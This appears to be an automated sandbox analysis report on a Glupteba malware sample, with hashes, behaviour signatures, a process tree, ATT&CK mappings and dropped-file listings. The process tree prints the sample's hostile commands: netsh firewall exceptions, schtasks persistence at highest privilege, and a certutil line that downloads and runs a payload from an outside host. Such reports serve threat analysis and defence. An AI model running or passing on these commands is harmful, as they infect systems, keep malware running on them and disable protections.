Overview

overview

10

Static

static

3

9f8a475abc...18.exe

windows7-x64

10

9f8a475abc...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/06/2024, 21:14

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General

  • Target

    9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    9f8a475abce8ee5d836319045b20b65d

  • SHA1

    89eeee314fd0f4a1bb48a24ed37cb985897660f3

  • SHA256

    807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a

  • SHA512

    1f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c

  • SSDEEP

    98304:IzkDz5Z5gxwn2hPMW35eQ7Cr56fWHd2JID4VV2iwbZ:+kDb5gaOj35u6fWHd2JIqV5QZ

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 35 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
      • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1840
        • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
          "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
          4⤵
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1896
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:1128
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f956a05b2009\f956a05b2009\f956a05b2009.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4976
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f956a05b2009\f956a05b2009\f956a05b2009.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:2036
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2360
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              6⤵
              • Executes dropped EXE
              • Manipulates WinMonFS driver.
              • Modifies data under HKEY_USERS
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3328
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Creates scheduled task(s)
                PID:536
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Creates scheduled task(s)
                PID:2676
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                • Executes dropped EXE
                PID:992
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                7⤵
                • Modifies boot configuration data using bcdedit
                PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Windows\rss\csrss.exe
    Filesize

    3.9MB

    MD5

    9f8a475abce8ee5d836319045b20b65d

    SHA1

    89eeee314fd0f4a1bb48a24ed37cb985897660f3

    SHA256

    807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a

    SHA512

    1f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c

    Download Submit

  • memory/1288-1-0x00000000028C0000-0x0000000002C73000-memory.dmp

    Filesize

    3.7MB

    Download

  • memory/1288-2-0x0000000002C80000-0x0000000003375000-memory.dmp

    Filesize

    7.0MB

    Download

  • memory/1840-56-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/1840-20-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/1840-26-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/1948-24-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1948-28-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1948-32-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1948-23-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1948-25-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1948-27-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-10-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-7-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-6-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-9-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-17-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-8-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-4-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/2356-5-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-48-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-44-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-47-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-43-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-49-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-45-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-52-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-53-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-55-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-46-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-57-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-58-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-59-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-61-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-62-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-63-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-64-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-65-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-66-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3328-68-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download